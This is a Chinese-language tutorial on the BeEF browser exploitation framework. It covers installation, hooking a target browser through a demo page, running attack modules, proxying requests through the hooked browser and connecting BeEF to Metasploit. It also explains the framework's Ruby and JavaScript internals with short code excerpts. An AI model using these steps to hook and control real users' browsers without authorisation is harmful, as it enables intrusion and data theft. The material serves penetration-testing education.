淺談基于瀏覽器的攻擊框架BeEF
一、BeEF簡介
BeEF是瀏覽器攻擊框架的簡稱,是一款專注于瀏覽器端的滲透測試工具。可在其官網找到更詳細的介紹http://beefproject.com/。
二、安裝BeEF
先下載Beef最新版本
$ svn checkout http://beef.googlecode.com/svn/track/ beef
$ ruby install
選擇第一項自動安裝需要的相關gems即可,也可以選擇2按照提示一個一個進行安裝,安裝完成后就可以直接啟動了
$ ruby beef -x
三、使用說明
3.1 啟動BeEF
安裝完成后,啟動BeEF
#./beef

命令行中顯示的UI URL以后即為WEB接口,用瀏覽器打開,輸入默認密碼beef/beef,即可進入BeEF管理頁面
按照提示,假設此時目標192.168.11.1的服務器訪問了這個demo頁面
http://192.168.11.152:3000/demos/basic.html。則就被hook上了,如下圖所示

3.2 實施攻擊
HOOK持續的時間為關閉測試頁面為止。在此期間,相當于被控制了,可以發送攻擊命令了。選擇commands欄,可以看到很多已經分好類的攻擊模塊。
其中,4種顏色分別表示:
該攻擊模塊可用,且隱蔽性強
該攻擊模塊可用,但隱蔽性查
該用戶模塊是否可用還有待驗證
該攻擊模塊不可用

例如,選取MISC下的Raw JavaScript模塊作為測試用例,右端表格有該模塊的詳細說明,以及一些可選的參數等。輸入Javascript code,點擊Excute進行攻擊,效果如下圖所示

3.3 Proxy功能
選中目標主機,點右鍵,在菜單中選中Use as Proxy

然后再Rider選項卡中的Forge Request 編輯并發送想要發送的內容

通過查看目標瀏覽器firebug記錄,可以確信確實發送了該http,達到了代理效果。同時Rider下的History選項也記錄了發送歷史記錄

#p#
四、Metasploit組合
由于BeEF默認是不加載metasploit的,要使用Metasploit豐富的攻擊模塊,需要做些配置。BT5下,首先到beef目錄下修改/pentest/web/beef/config.yaml文件,將其中的metasploit選項改為enable,如下所示:

然后查看/pentest/web/beef/extensions/metasploit/config.yaml。查看到其中的pass默認為abc123,這是與metasploit通信約定的密碼。轉到msf目錄 /opt/metasploit/msf3/。新建一個 beef.rc文件,內容為
load msgrpc ServerHost=127.0.0.1 Pass=abc123
從而實現與beef的通信。啟動msfconsole,
#msfconsole –r beef.rc,如下圖所示,順利啟動服務。

現在可以啟動beef了,啟動后,可以看到BEEF加載了204個metasploit的攻擊模塊

頁面如圖,現在可以使用metasploit的模塊進行攻擊了。

#p#
五、實現原理
5.1 簡述
BEEF 采用ruby語言編寫,其目錄結構如下所示:

除去一些安裝和說明文件,Beef最主要的目錄有三個,core、extension和modules。BEEF的核心文件在core目錄下,各種擴展功能在extension目錄下,modules則為攻擊模塊目錄。
5.2 Core
Core目錄是BEEF的核心目錄,并負責加載extension和module。其中最關鍵的文件位于core\main目錄下,其文件結構如下所示:

Client目錄下均為js文件,是在受控客戶端(hooked browser)使用的js文件,包括net、browser、encode、os等的實現,以update.js為例,在core\main\client\update.js中可以看到,定義了beef.updater,設置每隔5秒check一次是否有新的命令,如果有,則獲取并執行之。
Console目錄用于命令行控制
Constants目錄定義了各種常量
Handlers目錄主要用于處理來自受控客戶端連接請求。
Models 定義了一些基本的類
Rest目錄:即WEB服務基于REST原則,是一種輕量級的HTTP實現。 在server.rb中可看到,是通過mount的形式將資源與URL相對應,即它不是一個簡單的WEB目錄服務,任何需要http服務的資源,都需要先mount才能使用。
def mount(url, http_handler_class, args = nil)
# argument type checking
raise Exception::TypeError, ‘”url” needs to be a string’ if not url.string?
if args == nil
mounts[url] = http_handler_class
else
mounts[url] = http_handler_class, *args
end
print_debug(“Server: mounted handler ‘#{url}’”)
end
………
self.mount(“/init”, BeEF::Core::Handlers::BrowserDetails)
………
# Rack mount points
@rack_app = Rack::URLMap.new(@mounts)
………
# Create the BeEF http server
@http_server = Thin::Server.new(
@configuration.get(‘beef.http.host’),
@configuration.get(‘beef.http.port’),
@rack_app)
5.3 extensions
Extention目錄下為各種擴展應用

其中幾個extension的作用如下:
Admin_ui: 實現了一個WEB界面的控制后臺。
Metasploit: 與metasploit互通相關的設置。
Requester: 負責處理HTTP請求,其文件如下所示:

其中:
Extension.rb 是每個擴展必有的文件,是加載該擴展的接口文件。
Config.yaml為作者和該擴展相關信息。
Api.rb為自身注冊的一些API函數。
Models定義了一個http模型對象,例如,其中有個has_run屬性,當請求未發送時,其值為”waiting”,發送攻擊時,遍歷狀態為”waiting”的模塊,并發送http請求。
Handler.rb 主要是處理http響應,收到響應后將相應的模塊has_run狀態置為complete,并保存到數據庫。
5.4 modules
Modules集合了BEEF的各個攻擊模塊,一般一個攻擊模塊分為3個文件:command.js、config.yaml、module.rb。這樣的結構可以很方便地進行模塊添加,易于擴展。
Config.yaml: 攻擊模塊相關信息,如名稱、描述、分類、作者、適用場景等
Module.rb:文件定義了該攻擊模塊的類,繼承了BEFF::Core::Command類,在通用command類的基礎上定義一些該模塊特有的處理函數,如使用較多的一個函數是post_execute,即攻擊進行后進行的操作(一般為保存結果),如下所示。
class Browser_fingerprinting < BeEF::Core::Command
def post_execute
content = {}
content['browser_type'] = @datastore['browser_type'] if not @datastore['browser_type'].nil?
content['browser_version'] = @datastore['browser_version'] if not @datastore['browser_version'].nil?
if content.empty?
content['fail'] = ‘Failed to fingerprint browser.’
end
save content
end
end
Command.js: 即為攻擊代碼,攻擊時讀取此js并發送給受控客戶端。以detect_firebug模塊的command.js為例,代碼如下所示:
beef.execute(function() {
var result = “Not in use or not installed”;
if (window.console && (window.console.firebug || window.console.exception)) result = “Enabled and in use!”;
beef.net.send(“”, , “firebug=”+result);
});
代碼很簡單,在受控客戶端執行取得結果之后,將結果返回給server端。Beef.net在core/main/client目錄下定義。
在 Core目錄下的Command.rb中,可以看到加載過程,首先判斷該攻擊模塊的command.js是否存在,如存在,就讀取到@eruby,可能還需要進行參數替換,所以需要進行evaluate操作。
def output
f = @path+’command.js’
(print_error “#{f} file does not exist”;return) if not File.exists? f
command = BeEF::Core::Models::Command.first(:id => @command_id)
@eruby = Erubis::FastEruby.new(File.read(f))
data = BeEF::Core::Configuration.instance.get(“beef.module.#{@key}”)
cc = BeEF::Core::CommandContext.new
cc['command_url'] = @default_command_url
cc['command_id'] = @command_id
JSON.parse(command['data']).each{|v|
cc[v['name']] = v['value']
}
if self.respond_to?(:execute)
self.execute
end
@output = @eruby.evaluate(cc)
@output
end